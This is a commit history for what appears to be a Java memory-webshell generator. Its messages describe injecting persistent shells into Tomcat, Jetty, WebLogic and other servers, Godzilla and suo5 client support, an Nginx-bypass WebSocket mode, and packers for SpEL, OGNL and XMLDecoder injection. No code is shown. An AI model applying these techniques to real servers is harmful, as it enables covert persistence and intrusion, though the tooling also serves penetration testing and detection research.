Compare commits

..
882 Commits
Author SHA1 Message Date
ReaJason f60d4108ad chore: 2.5.0 2026-01-19 00:28:52 +08:00
ReaJason fe5760409a test: skip tomcat7 ws 2026-01-19 00:18:15 +08:00
ReaJason 40632a7308 build: image not found 2026-01-18 23:52:39 +08:00
ReaJason b49bb89025 chore: upgrade deps 2026-01-18 23:49:41 +08:00
ReaJason 336d0b1f5a test: add empty component 2026-01-18 23:49:41 +08:00
ReaJason 5ec48e7d41 docs: update changelog 2026-01-18 23:49:41 +08:00
ReaJason 8ba200089a test: jetty6 start failed 2026-01-18 23:49:41 +08:00
ReaJason e38a91f720 test: jdk assert error 2026-01-18 23:49:41 +08:00
ReaJason 60edda0cec refactor: probe integration-test 2026-01-18 23:49:41 +08:00
ReaJason c5bfd3d92e test: probe not work 2026-01-18 23:49:41 +08:00
ReaJason 159f501179 fix: NPE 2026-01-18 23:49:41 +08:00
ReaJason ff6d1b6f9e fix: weblogic upload jsp failed 2026-01-18 23:49:41 +08:00
ReaJason 8402bd9d51 feat: add jsp unicode packer 2026-01-18 23:49:41 +08:00
ReaJason 7c126d8189 refactor: memshell integration-test 2026-01-18 23:49:41 +08:00
ReaJason 03c138206a test: skip proxy 2026-01-18 23:49:41 +08:00
ReaJason 8b1cf078f3 feat: support ws proxy 2026-01-18 23:49:41 +08:00
ReaJason 3e4c5e5b38 test: add filter 2026-01-18 23:49:41 +08:00
ReaJason b49ad1581f refactor: change godzilla websocket base64 to raw 2026-01-18 23:49:41 +08:00
ReaJason bf50918a99 docs: add some highlights 2026-01-18 23:49:41 +08:00
ReaJason be051d3147 feat: add proxy ws 2026-01-18 23:49:41 +08:00
ReaJason f780886f08 docs: add websocket usage 2026-01-18 23:49:41 +08:00
ReaJason b46959e059 refactor: rename test case 2026-01-18 23:49:41 +08:00
ReaJason 3e2d977562 feat: support Tomcat Command WebSocketBypassNginx 2026-01-18 23:49:41 +08:00
ReaJason b45efd8e1e refactor: rename asserts to assets 2026-01-18 23:49:41 +08:00
ReaJason ee9288debd refactor: change field location 2026-01-18 23:49:41 +08:00
ReaJason 1518432fde feat(ui): add targetJdkVersion field 2026-01-18 23:49:41 +08:00
ReaJason 302e8fbb8f refactor(ui): change serverVersion field localtion 2026-01-18 23:49:41 +08:00
ReaJason 4955c9d4a2 fix(ui): file input height error 2026-01-18 23:49:41 +08:00
ReaJason cf492e68ea refactor: optimize import 2026-01-18 23:49:41 +08:00
ReaJason 39eab10281 chore: 2.4.3-SNAPSHOT 2026-01-18 23:49:41 +08:00
ReaJason ba9c0be2a4 feat: add jakarta-api deps 2026-01-18 23:49:41 +08:00
ReaJason 23f310ca8a feat: shellConfig support set isJakarta field 2026-01-18 23:49:41 +08:00
ReaJason 9d9d33f612 build: autoRelease and validateComponents 2026-01-18 23:49:41 +08:00
ReaJason da1a5f70ef ci: update ci 2026-01-13 20:34:36 +08:00
ReaJason 69e8e20a6a ci: add test workflow 2026-01-13 20:29:05 +08:00
ReaJason a1f32c5bf2 chore: 2.4.2 2026-01-12 02:21:44 +08:00
ReaJason 6b10b3f56f chore: update libs 2026-01-12 02:12:34 +08:00
ReaJason 3e3d82218c docs: update changelog 2026-01-12 02:12:34 +08:00
ReaJason 202924aa54 fix: NPE 2026-01-12 02:12:34 +08:00
ReaJason 054e22bc3d fix: context not found test not work 2026-01-12 02:12:34 +08:00
ReaJason fa92930353 feat: support FilterProbe generate 2026-01-12 02:12:34 +08:00
ReaJason 52437d67be refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 117b48a9d0 feat: support servletNameFilter 2026-01-12 02:12:34 +08:00
ReaJason 3fe9a932ba feat: support servletNameFilter for WebLogicFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 1772c08f22 feat: support servletNameFilter for UndertowFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason e44caeba1b feat: support servletNameFilter for GlassFishFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 4f080df85a feat: support servletNameFilter for JettyFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 7562469b44 feat: support servletNameFilter for TomcatFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 359931a881 chore: add libs git submodule 2026-01-12 02:12:34 +08:00
ReaJason 8c20f18c70 feat: support addFilterFirst for WebSphere 2026-01-12 02:12:34 +08:00
ReaJason dace117e73 feat: support filterProbe for WebLogic 2026-01-12 02:12:34 +08:00
ReaJason 5c0d26ae16 refactor: simplify WebLogic getContext 2026-01-12 02:12:34 +08:00
ReaJason 8e9d47bbea feat: support addFilterFirst for TongWeb 2026-01-12 02:12:34 +08:00
ReaJason c1f1802182 feat: support addFilterFirst for Apusic/InforSuite 2026-01-12 02:12:34 +08:00
ReaJason dc7958e123 refactor: use commonUtil for packageName 2026-01-12 02:12:34 +08:00
ReaJason d59bb9d29f fix: classNotFound 2026-01-12 02:12:34 +08:00
ReaJason 3e966f8fab feat: support addFilterFirst for GlassFish 2026-01-12 02:12:34 +08:00
ReaJason f940a528f0 test: add JBossAS filterProbe test 2026-01-12 02:12:34 +08:00
ReaJason 0b48dd64bd feat: support addFilterFirst for undertow 2026-01-12 02:12:34 +08:00
ReaJason bf213ae575 fix: undertow filter cache 2026-01-12 02:12:34 +08:00
ReaJason c8ede922b9 feat: support addFilterFirst for resin 2026-01-12 02:12:34 +08:00
ReaJason c0a059fbdc refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason b4f8e62fc7 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 1c0d65b353 feat: support addFilterFirst for jetty 2026-01-12 02:12:34 +08:00
ReaJason f26727e6fc test: support remote docker runner 2026-01-12 02:12:34 +08:00
ReaJason 2b1388c8eb test: add classes 2026-01-12 02:12:34 +08:00
ReaJason 9f7b4276e2 test: fix GlassFish filter 2026-01-12 02:12:34 +08:00
ReaJason b992e5f60e build: use pip mirror 2026-01-12 02:12:34 +08:00
ReaJason de69a63be5 chore: upgrade deps 2026-01-12 02:12:34 +08:00
ReaJason de462ae8b0 refactor: change method order 2026-01-12 02:12:34 +08:00
ReaJason d873dae8f3 feat: support addFilterFirst for tomcat 2026-01-12 02:12:34 +08:00
ReaJason 3e2fb861cd ci: test build on windows 2026-01-12 02:12:34 +08:00
ReaJason cbc71e5a52 feat: support open-liberty javaee 2026-01-12 02:12:34 +08:00
ReaJason ad8d2713ad docs: add WIP structure 2026-01-12 02:12:34 +08:00
ReaJason b04a34f1ab docs: add shellType table 2026-01-12 02:12:34 +08:00
ReaJason 2f325934e1 test: add more cases 2026-01-12 02:12:34 +08:00
ReaJason b47e437889 chore: 2.4.2-SNAPSHOT 2026-01-12 02:12:34 +08:00
ReaJason d1edb8fbdf fix: sub ui.data not found 2026-01-12 02:12:34 +08:00
ReaJason 7f176dd443 docs: update changelog 2025-12-16 21:59:39 +08:00
ReaJason 43c410e653 chore: 2.4.1 2025-12-16 21:56:18 +08:00
ReaJason b9efe6dac5 docs: update changelog 2025-12-16 21:55:21 +08:00
ReaJason 930edbc8b0 refactor: migrate radix-ui to base-ui 2025-12-16 21:55:21 +08:00
ReaJason 0f473311f9 docs: update 2025-12-16 21:55:21 +08:00
ReaJason b412e9206d fix: context not found in fr v11 2025-12-16 21:55:21 +08:00
ReaJason d9205aaff7 Revert "fix: close respOutputStream in finally"
This reverts commit 25e4086241.
2025-12-16 21:55:21 +08:00
ReaJason 4dda9236ca docs: add springweb intro 2025-12-16 21:55:21 +08:00
ReaJason 694e60bd23 docs: fix typo 2025-12-16 21:55:21 +08:00
ReaJason 25ffe5bb14 chore: upgrade deps 2025-12-16 21:55:21 +08:00
ReaJason e9265b52f5 style: format code 2025-12-16 21:55:21 +08:00
ReaJason e872e0cd06 feat: add tooltip for paramName 2025-12-16 21:55:21 +08:00
ReaJason b6219628ae feat: add tooltip for switch 2025-12-16 21:55:21 +08:00
ReaJason 0d1fab8740 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason e9fb20fa07 fix: close respOutputStream in finally 2025-12-16 21:55:21 +08:00
ReaJason 97e365e935 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 75e3ed595a fix: shell connect failed due to empty body 2025-12-16 21:55:21 +08:00
ReaJason ab4ad88d6e fix: response body write failed when getOutputStream already called 2025-12-16 21:55:21 +08:00
ReaJason 9abea930b3 fix: throwable.printStackTrace not removed in debug off mode 2025-12-16 21:55:21 +08:00
ReaJason ab8773b177 docs: add memshell-core-config mdx 2025-12-16 21:55:21 +08:00
ReaJason 0de0efef9c chore: simplify deps 2025-12-16 21:55:21 +08:00
ReaJason 3d5851f3ae docs: add godzilla 2025-12-16 21:55:21 +08:00
ReaJason 9c298a2303 feat(ui): add image-zoom 2025-12-16 21:55:21 +08:00
zema1 b846f67c34 fix: close response outputstream in suo5v2 2025-12-14 18:45:58 +08:00
zema1 1e5f7dd281 feat: remove uneeded code 2025-12-14 18:45:58 +08:00
ReaJason 37832ee768 chore: 2.4.0 2025-12-10 02:10:59 +08:00
ReaJason a59282b2a9 docs: update changelog 2025-12-10 02:10:34 +08:00
ReaJason bf151faa1c docs: add suo5 usage 2025-12-10 02:09:13 +08:00
ReaJason 11c439f6c6 fix: rm jar package for probe shell 2025-12-10 02:09:13 +08:00
ReaJason a10386457c feat: support suo5 v2 jetty customizer 2025-12-10 02:09:13 +08:00
ReaJason dd9333e473 feat: support suo5 v2 shell 2025-12-10 02:09:13 +08:00
ReaJason d7a67b3056 feat: support struct2 memshell and probeshell 2025-12-10 02:09:13 +08:00
ReaJason e41f8347c6 ci: release ci broken 2025-12-08 02:32:56 +08:00
ReaJason 47b628ee5b chore: 2.3.0 2025-12-08 02:28:02 +08:00
ReaJason 970e260b16 build: change dev port 2025-12-08 02:26:31 +08:00
ReaJason ebfb9323f8 ci: api changed 2025-12-08 02:23:52 +08:00
ReaJason 818f42048d build: react-router failed 2025-12-08 02:20:18 +08:00
ReaJason 554719a447 build: source.config.ts not found 2025-12-08 02:08:37 +08:00
ReaJason 42a9c00263 build: bun.lockb not found 2025-12-08 01:48:43 +08:00
ReaJason b1b44dbc4c docs: update README 2025-12-08 01:45:54 +08:00
ReaJason 0c5847b4dd docs: rm useless docs 2025-12-08 01:44:36 +08:00
ReaJason ef1a77d11d docs: move folder 2025-12-08 01:43:41 +08:00
ReaJason 8551c3b18f build: custom base path not work 2025-12-08 01:43:41 +08:00
ReaJason c1631b9401 fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason e1a852a301 feat: support probe paramName optional 2025-12-08 01:43:41 +08:00
ReaJason 4fd1e4170f feat: support command probe template 2025-12-08 01:43:41 +08:00
ReaJason 73f5694cac chore: unify color theme 2025-12-08 01:43:41 +08:00
ReaJason bac3023dfa feat: support command template 2025-12-08 01:43:41 +08:00
ReaJason baeb3daa50 fix: wrong jetty handler will disrupt service 2025-12-08 01:43:41 +08:00
ReaJason 5d28df0e39 refactor: use processors 2025-12-08 01:43:41 +08:00
ReaJason b29d83d3b4 feat: support tomcat upgrade 2025-12-08 01:43:41 +08:00
ReaJason 605379907b test: add jboss eap-8.1 cases 2025-12-08 01:43:41 +08:00
ReaJason 84c61629ff fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason 4a207e583a test: simplify payload 2025-12-08 01:43:41 +08:00
ReaJason afb3d46080 test: wait for /app 2025-12-08 01:43:41 +08:00
ReaJason 102173b924 feat: support GroovyTransformJar packer 2025-12-08 01:43:41 +08:00
ReaJason 8b8cc7173d test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason c43d87eea1 fix: injector msg is empty 2025-12-08 01:43:41 +08:00
ReaJason 11e58495fc feat: support jetty ee responseBodyProbe 2025-12-08 01:43:41 +08:00
ReaJason 8491d6f964 feat: bytecode probe support gzip 2025-12-08 01:43:41 +08:00
ReaJason 1cf5f37086 perf: probe shell only run once 2025-12-08 01:43:41 +08:00
ReaJason cd8111d0d7 feat: support probe mode 2025-12-08 01:43:41 +08:00
ReaJason 653665e479 feat: support appendLambdaSuffix 2025-12-08 01:43:41 +08:00
ReaJason 79c3e0d929 fix: ui not rendered 2025-12-08 01:43:41 +08:00
ReaJason 50a60c4c65 test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason 90c20b5388 ci: setup node 22 2025-12-08 01:43:41 +08:00
ReaJason 4652f644e4 feat: support fumadocs 2025-12-08 01:43:41 +08:00
ReaJason c21d47140f test: add jdk11 scriptEngine test case 2025-12-08 01:43:41 +08:00
ReaJason fc3961a6bf perf: run only once 2025-12-08 01:43:41 +08:00
ReaJason 962264f13e fix: bes 9.5.1 agent shell not work 2025-12-08 01:43:41 +08:00
ReaJason 75495aee20 chore: version 2.3.0-SNAPSHOT 2025-12-08 01:43:41 +08:00
ReaJason 13a83d510b fix(ui): hide urlPatternField for customizer 2025-12-08 01:43:41 +08:00
ReaJason 2582a12785 fix: typo 2025-12-08 01:43:41 +08:00
ReaJason 05bfa6fd1c feat: support jetty customizer shell 2025-12-08 01:43:41 +08:00
ReaJason 40e6c55b6d chore: change jetty to undertow 2025-12-08 01:43:41 +08:00
ReaJason bfda586d58 feat: add scriptEngineBypassModule packer 2025-12-08 01:43:41 +08:00
ReaJason f0c88ab914 refactor: simplify fetch context from spring 2025-12-08 01:43:41 +08:00
ReaJason 504dde9335 feat: support jetty handler shell 2025-12-08 01:43:41 +08:00
ReaJason e4e86d2c8d refactor: use hashset to reduce inject times 2025-12-08 01:43:41 +08:00
ReaJason dc898fd214 refactor: remove useless code 2025-12-08 01:43:41 +08:00
ReaJason 0ec52dd167 docs: update domain 2025-11-28 09:53:55 +08:00
ReaJason fac0748055 chore: 2.2.0 2025-11-20 02:27:20 +08:00
ReaJason 1926259fab docs: update CHANGELOG 2025-11-20 02:04:27 +08:00
ReaJason bebd374737 fix: build error 2025-11-20 00:43:03 +08:00
ReaJason 6b1a569be9 feat: support AbstractTranslet packer 2025-11-20 00:36:25 +08:00
ReaJason bd308fae10 chore: rm useless options 2025-11-20 00:36:25 +08:00
ReaJason 05729fc458 docs: update CHANGELOG 2025-11-20 00:36:25 +08:00
ReaJason 59fd17355b feat: support scriptEngineJar packer 2025-11-20 00:36:25 +08:00
ReaJason 5e8529a0c7 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason f0526eeb28 feat: support script engine probe 2025-11-20 00:36:25 +08:00
ReaJason fab623ac4f feat: support probe get payload from header by default 2025-11-20 00:36:25 +08:00
ReaJason e9a0eb61d9 build: rm useless dep 2025-11-20 00:36:25 +08:00
ReaJason 4f86572192 feat: support command shell get cmd from header 2025-11-20 00:36:25 +08:00
ReaJason 2216aafcad chore: upgrade deps 2025-11-20 00:36:25 +08:00
ReaJason 39b09cecb1 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason 9be935694c feat: injector support print some msg 2025-11-20 00:36:25 +08:00
ReaJason 8d68e18a23 test: add jetty ee11 Dockerfile 2025-11-20 00:36:25 +08:00
ReaJason 29207c1b53 test: add some cve docker-compose 2025-11-20 00:36:25 +08:00
ReaJason 8c77a4049b feat: support staticInitialize 2025-11-20 00:36:25 +08:00
ReaJason 1cf3c58b7b fix: wildfly 36 fetch pid error 2025-11-20 00:36:25 +08:00
ReaJason 05892d4b8b test: add bigInterger for expression vul 2025-11-20 00:36:25 +08:00
ReaJason 4be54c0ecb build: simplify dependencies move 2025-11-20 00:36:25 +08:00
ReaJason 5a614e3b39 feat: support spring response body writer 2025-11-20 00:36:25 +08:00
ReaJason 34e1e53b67 test: remove some packer test to speedup 2025-11-20 00:36:25 +08:00
ReaJason 13097cec99 test: add static block self constructor testcase 2025-11-20 00:36:25 +08:00
ReaJason b4af77ddb2 chore: upgrade spring boot 3.5.3 to 3.5.7 2025-11-20 00:36:25 +08:00
ReaJason 245ec99839 feat: support parse custom shell className 2025-11-20 00:36:25 +08:00
ReaJason 81926b0a78 chore: change no field exception msg 2025-11-20 00:36:25 +08:00
ReaJason 6ccd139444 perf: remove session for godzilla 2025-11-20 00:36:25 +08:00
ReaJason fd1a560aa2 build: react-hook-form build failed 2025-11-20 00:36:25 +08:00
ReaJason 55f676553c build: openjdk docker image not found 2025-11-20 00:36:25 +08:00
ReaJason 26b4f48e98 refactor: simplify code 2025-11-20 00:36:25 +08:00
ReaJason 131222cf29 feat(web): support download button for some packers 2025-11-20 00:36:25 +08:00
ReaJason 7b390b7773 fix: proxyValve cause service exception 2025-11-20 00:36:25 +08:00
ReaJason f8696dada5 fix: custom shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason 0e0307fb97 fix: rm debug print 2025-11-20 00:36:25 +08:00
ReaJason 798e447ab6 fix: custom shell classname use itself 2025-11-20 00:36:25 +08:00
ReaJason c495ef46a4 fix(ui): shellTool not changed when trigger init 2025-11-20 00:36:25 +08:00
ReaJason 69ef9ab230 ci: dev build test 2025-11-20 00:36:25 +08:00
ReaJason d6ef24b878 test: add generate controller test case 2025-11-20 00:36:25 +08:00
ReaJason d06f238e2f fix: serialize failed 2025-11-20 00:36:25 +08:00
ReaJason 12d2a191b2 test: add docker compose cases 2025-11-20 00:36:25 +08:00
ReaJason 86b31b193d fix: custom listener shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason beb22b3ab1 chore: version 2.2.0-SNAPSHOT 2025-11-20 00:36:25 +08:00
ReaJason d0acb7712a test: support bypass CSRF 2025-11-20 00:36:25 +08:00
ReaJason e7c69befe8 feat: support Apusic 9.0.1 2025-11-20 00:36:25 +08:00
ReaJason 4134c7233b fix: custom shell NPE 2025-11-20 00:36:25 +08:00
ReaJason d179ceada7 docs: update CHANGELOG 2025-09-13 09:12:02 +08:00
ReaJason 799302348f chore: 2.1.0 2025-09-12 23:10:47 +08:00
ReaJason 9b849b6e39 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e7b5430075 test: add WildFly 36.0.0-Final-jdk21 2025-09-12 22:51:50 +08:00
ReaJason 6942affbc8 fix: rename lambda className failed 2025-09-12 22:51:50 +08:00
ReaJason 48a65574aa style: lint code 2025-09-12 22:51:50 +08:00
ReaJason ee1b2db869 fix(ui): use shellTool selector 2025-09-12 22:51:50 +08:00
ReaJason 1879eaab22 fix: reduce space 2025-09-12 22:51:50 +08:00
ReaJason 4ab8ecba13 test: add testground 2025-09-12 22:51:50 +08:00
ReaJason 2e5de88f97 test: add probe no magic prefix 2025-09-12 22:51:50 +08:00
ReaJason 842200280d fix(ui): page not suitable for big screen 2025-09-12 22:51:50 +08:00
ReaJason ab3f7d1043 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason b476c9a542 feat: support multi call for probe 2025-09-12 22:51:50 +08:00
ReaJason 5239b8cb5d feat: support Base64URLEncodedPacker 2025-09-12 22:51:50 +08:00
ReaJason f88c5d5606 feat: byteCode Probe support remove magic str 2025-09-12 22:51:50 +08:00
ReaJason b1e3d6aef1 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason 8897c4c607 ci: support run integration test manually 2025-09-12 22:51:50 +08:00
ReaJason 92c0d1d8a8 refactor: simplify command shell 2025-09-12 22:51:50 +08:00
ReaJason c31c3bd958 refactor: loadResource 2025-09-12 22:51:50 +08:00
ReaJason e1f0e7f4bd feat: support JXPathSpringGzipPacker 2025-09-12 22:51:50 +08:00
ReaJason c272a5387d fix: add too many dependencies in fatjar 2025-09-12 22:51:50 +08:00
ReaJason 44abb44670 fix: support jdk11 attach exception 2025-09-12 22:51:50 +08:00
ReaJason 1120c215d4 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason aa140a8777 refactor: simplify CommandProbe 2025-09-12 22:51:50 +08:00
ReaJason 88af60fea4 fix: probe custom shellClassName not work 2025-09-12 22:51:50 +08:00
ReaJason 9b7d244837 build: remove useless package 2025-09-12 22:51:50 +08:00
ReaJason 460465fe35 chore: upgrade dep 2025-09-12 22:51:50 +08:00
ReaJason f33972e460 refactor: simplify config build 2025-09-12 22:51:50 +08:00
ReaJason da16649e6f fix: supportedShellTools not right 2025-09-12 22:51:50 +08:00
ReaJason d7eaf5c068 fix: custom shell not supported for listener and valve vistor 2025-09-12 22:51:50 +08:00
ReaJason 8286dcd4c3 chore: version 2.1.0-SNAPSHOT 2025-09-12 22:51:50 +08:00
ReaJason ba449cc8e4 refactor: remove ShellTool enum 2025-09-12 22:51:50 +08:00
WansandReaJason e844bd5871 style: format code (#95)
Co-authored-by: ReaJason <[email protected]>
2025-08-28 17:50:23 +08:00
Wans 8f2872e542 feat: support ScriptEngineBigInteger 2025-08-28 10:18:20 +08:00
ReaJason 1c28a5d4ba fix: Tomcat old listeners not work when inject listener shell (#93) 2025-08-28 00:32:30 +08:00
Wans 9925d901f5 feat: support BigInteger packer 2025-08-25 19:25:54 +08:00
小晨曦andReaJason ed50e93183 feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
2025-08-25 14:34:47 +08:00
ReaJason 7baa728d0c ci: MemShell IntegrationTest not run when packer changed 2025-08-25 12:18:22 +08:00
ReaJason 5cc7f7f2e8 build: add more repositories 2025-08-22 18:41:48 +08:00
ReaJason 828556f82b docs: update README 2025-08-22 18:41:02 +08:00
ReaJason 134d1f6f4c ci: skip vul for docker build test 2025-08-21 18:21:05 +08:00
ReaJason e2272255ca test: add vul-playframework 2025-08-21 18:19:55 +08:00
ReaJason 3a437512c7 ci: syntax error 2025-08-21 18:15:43 +08:00
ReaJason 2fd2e549ad ci: separate test workflow 2025-08-21 18:14:18 +08:00
ReaJason 33ce7f3bb0 docs: update BuildOnLocal.md 2025-08-14 23:16:23 +08:00
ReaJason 9796cdca97 docs: update CHANGELOG 2025-08-14 22:55:28 +08:00
ReaJason 50af147fc9 ci: speedup docker build [skip ci] 2025-08-14 22:42:05 +08:00
ReaJason e0385acf8b fix: router duplicated 2025-08-14 22:41:45 +08:00
ReaJason 2acafba2f3 ci: only build amd64 for docker push [skip ci] 2025-08-14 19:19:18 +08:00
ReaJason 020d508f7a ci: use ubuntu-22.04 runner for docker push [skip ci] 2025-08-14 19:13:25 +08:00
ReaJason c42969e73e ci: use macos-15 runner for docker push [skip ci] 2025-08-14 19:10:25 +08:00
ReaJason 6c76a90f03 fix: example 2.0.0 release version 2025-08-14 18:54:43 +08:00
ReaJason feeb7014fb fix: e.printStackTrace() not remove from <init> when debugOff 2025-08-14 18:53:27 +08:00
ReaJason 5f7b398ddb fix(web): reactRouter basename not work 2025-08-14 18:52:31 +08:00
ReaJason 2b32b741d6 docs: update README 2025-08-14 00:56:56 +08:00
ReaJason 2b8e1f5de7 ci: add custom docker push ci 2025-08-14 00:47:24 +08:00
ReaJason a7a5d461fe ci: custom build context error 2025-08-14 00:47:14 +08:00
ReaJason dd727fbe9c fix: isProduction always true 2025-08-14 00:47:00 +08:00
ReaJason f544563315 ci: release ci syntax error 2025-08-14 00:13:11 +08:00
ReaJason ebd97529ad chore: 2.0.0 2025-08-14 00:08:14 +08:00
ReaJason 82f46deb76 ci: ignore examples folder for test ci 2025-08-14 00:05:32 +08:00
ReaJason 6896426811 test: add some docker-compose.yaml 2025-08-14 00:03:20 +08:00
ReaJason e006814e96 docs: update CHANGELOG 2025-08-13 23:53:40 +08:00
ReaJason 6be89d2448 feat: support 2.0.0 examples 2025-08-13 23:53:40 +08:00
ReaJason db40ac86d8 ci: support RedQueen docker tag build 2025-08-13 23:53:40 +08:00
ReaJason 6a475983db fix: add generate exception global handler 2025-08-13 23:53:40 +08:00
ReaJason 5aae3c4dbe feat: add about page 2025-08-13 23:53:40 +08:00
ReaJason 3f5a2ddb6b feat: support i18n namespace 2025-08-13 23:53:40 +08:00
ReaJason a5f6411444 style(web): format code 2025-08-13 23:53:40 +08:00
ReaJason ede8a649bc docs: update README 2025-08-13 23:53:40 +08:00
ReaJason ff49fe1f0c fix: rm landing page 2025-08-13 23:53:40 +08:00
ReaJason 29150c56c9 test: add sleep server test case 2025-08-13 23:53:40 +08:00
ReaJason a1f3bd5b6c test: add k6 test js 2025-08-13 23:53:40 +08:00
ReaJason d4efc69643 fix: add newInstance for AviatorPacker 2025-08-13 23:53:40 +08:00
ReaJason 7e3e97d79a refactor: rm static block for better life 2025-08-13 23:53:40 +08:00
ReaJason 7c9d330909 test: retry for tomcat test cases 2025-08-13 23:53:40 +08:00
ReaJason 1c320d7de6 build: speedup module build by using build-logic 2025-08-13 23:53:40 +08:00
ReaJason a330f6fe29 build: vul-webapp failed with junit5 2025-08-13 23:53:40 +08:00
ReaJason f9dce4f84b refactor: rename
1. 将枚举 Server 改为字符串常量,使得 memshell 和 probeshell 都能共用
2. 移除 memshell 模块直接内置在 generator 中
3. 通用类从 memshell 移动至 javaweb 下,命名修改,增加辨识度
2025-08-13 23:53:40 +08:00
ReaJason d4bde3baad fix: web page broken 2025-08-13 23:53:40 +08:00
ReaJason 99b40a945f test: images use specific version 2025-08-13 23:53:40 +08:00
ReaJason 31e1e26488 fix: windows attach res not found 2025-08-13 23:53:40 +08:00
ReaJason 4a3bc0c40a feat: support probe shell generation 2025-08-13 23:53:40 +08:00
ReaJason 3102f10d7b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 4ea5ef68f9 ci: test docker build only on master 2025-08-13 23:53:40 +08:00
ReaJason 8bff3b24c7 feat: support XMLDecoderDefineClass packer 2025-08-13 23:53:40 +08:00
ReaJason 6361e4d50b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 5fb85f9ff1 feat: support XMLDecoder packer 2025-08-13 23:53:40 +08:00
ReaJason 73c05bc6c6 feat: support OGNL SpringUtils packers 2025-08-13 23:53:40 +08:00
ReaJason 5f153a9052 refactor: simplify server options 2025-08-13 23:53:40 +08:00
ReaJason 37d3086ca5 fix: className is illegal 2025-08-13 23:53:40 +08:00
ReaJason a4bdde14dd fix: error msg not correct 2025-08-13 23:53:40 +08:00
ReaJason c451e42188 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 1a8443b08c chore: upgrade docker image version 2025-08-13 23:53:40 +08:00
ReaJason d37089f063 chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 55fc9f8cc0 fix: skip no static resource exception 2025-08-13 23:53:40 +08:00
ReaJason 28868f5769 style: rm console.log 2025-08-13 23:53:40 +08:00
ReaJason c5b753abe5 fix: SpringWebMVC Agent generate button not work 2025-08-13 23:53:40 +08:00
ReaJason e556cfa80a refactor: rename i18 json key 2025-08-13 23:53:40 +08:00
ReaJason 67f21b0abf chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 466d236ba2 test: pid fetch failed 2025-08-13 23:53:40 +08:00
ReaJason 78cbc3bb6c refactor: simplify payload 2025-08-13 23:53:40 +08:00
ReaJason 9fe2630c36 feat: support H2 packer 2025-08-13 23:53:40 +08:00
ReaJason f09ae066bd fix: /osgi context not webContext 2025-08-13 23:53:40 +08:00
ReaJason b2520eebac fix: InforSuite Agent not work 2025-08-13 23:53:40 +08:00
ReaJason 65e23040ae fix: TongWeb8 context fetch error 2025-08-13 23:53:40 +08:00
ReaJason 22123cec7e test: use recommended logback configuration 2025-08-13 23:53:40 +08:00
ReaJason 7f7e48233b build: rm useless package 2025-08-13 23:53:40 +08:00
ReaJason 58341b4f7c refactor: add packer module 2025-08-13 23:53:40 +08:00
ReaJason ba04db93be build: rm memshell-party-bom module 2025-08-13 23:53:40 +08:00
ReaJason 57a653235b perf: reduce js size 2025-08-13 23:53:40 +08:00
ReaJason 5b2a47e499 chore: version 2.0.0-SNAPSHOT 2025-08-13 23:53:40 +08:00
ReaJason 95617a787b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 83fe7cad8c feat: add more page 2025-08-13 23:53:40 +08:00
ReaJason afa8f9dd06 feat: support Apusic V10 2025-08-13 23:53:40 +08:00
ReaJason b6fca022f9 refactor: simplify Tomcat AgentInjector 2025-08-13 23:53:40 +08:00
ReaJason 9fa01834e7 chore: 1.10.0 2025-06-07 14:35:53 +08:00
ReaJason 85b7750ab8 docs: add WriteCustomShell.md 2025-06-07 14:35:29 +08:00
ReaJason 9c5dc1fa9d docs: update README 2025-06-07 14:35:13 +08:00
ReaJason a833e3acdd docs: update CHANGELOG 2025-06-07 14:33:57 +08:00
ReaJason b12a8530f2 build: use Kotlin DSL 2025-06-07 13:31:18 +08:00
ReaJason 74701926b6 chore: upgrade Gradle 8.14.2 2025-06-07 13:31:18 +08:00
ReaJason a371c6adb6 chore: upgrade dep 2025-06-07 13:31:18 +08:00
ReaJason cd9c9ef162 fix(ui): copy button position on mobile 2025-06-07 13:31:18 +08:00
ReaJason d4ff5fdf65 fix(ui): input placeholder font-size on mobile 2025-06-07 13:31:18 +08:00
ReaJason 1dc27116f1 refactor: combine normal and bypass JSP template 2025-06-07 13:31:18 +08:00
ReaJason f43218b5e1 feat: support JBossAS ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 04bbddee6b feat: support Tomcat ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 59cf8674f1 fix: TongWeb8 Valve not work 2025-06-07 13:31:18 +08:00
ReaJason 9572b90cef refactor: merge JBossAS and GlassFish 2025-06-07 13:31:18 +08:00
ReaJason 96044dc231 fix: Glassfish3 classNotFound 2025-06-07 13:31:18 +08:00
ReaJason bae97ec554 refactor: simplify base64 and getFieldValue method 2025-06-07 13:31:18 +08:00
ReaJason b6ba3c632a test: add servlet for Tomcat8 2025-06-07 13:31:18 +08:00
ReaJason 453ef58b15 refactor: catch Throwable 2025-06-07 13:31:18 +08:00
ReaJason a37e32deb2 refactor: move method order 2025-06-07 13:31:18 +08:00
ReaJason faee94d77e refactor: use TypeDescription 2025-06-07 13:31:18 +08:00
ReaJason b0e2e218f0 ci: deploy when boot or web update 2025-06-07 13:31:18 +08:00
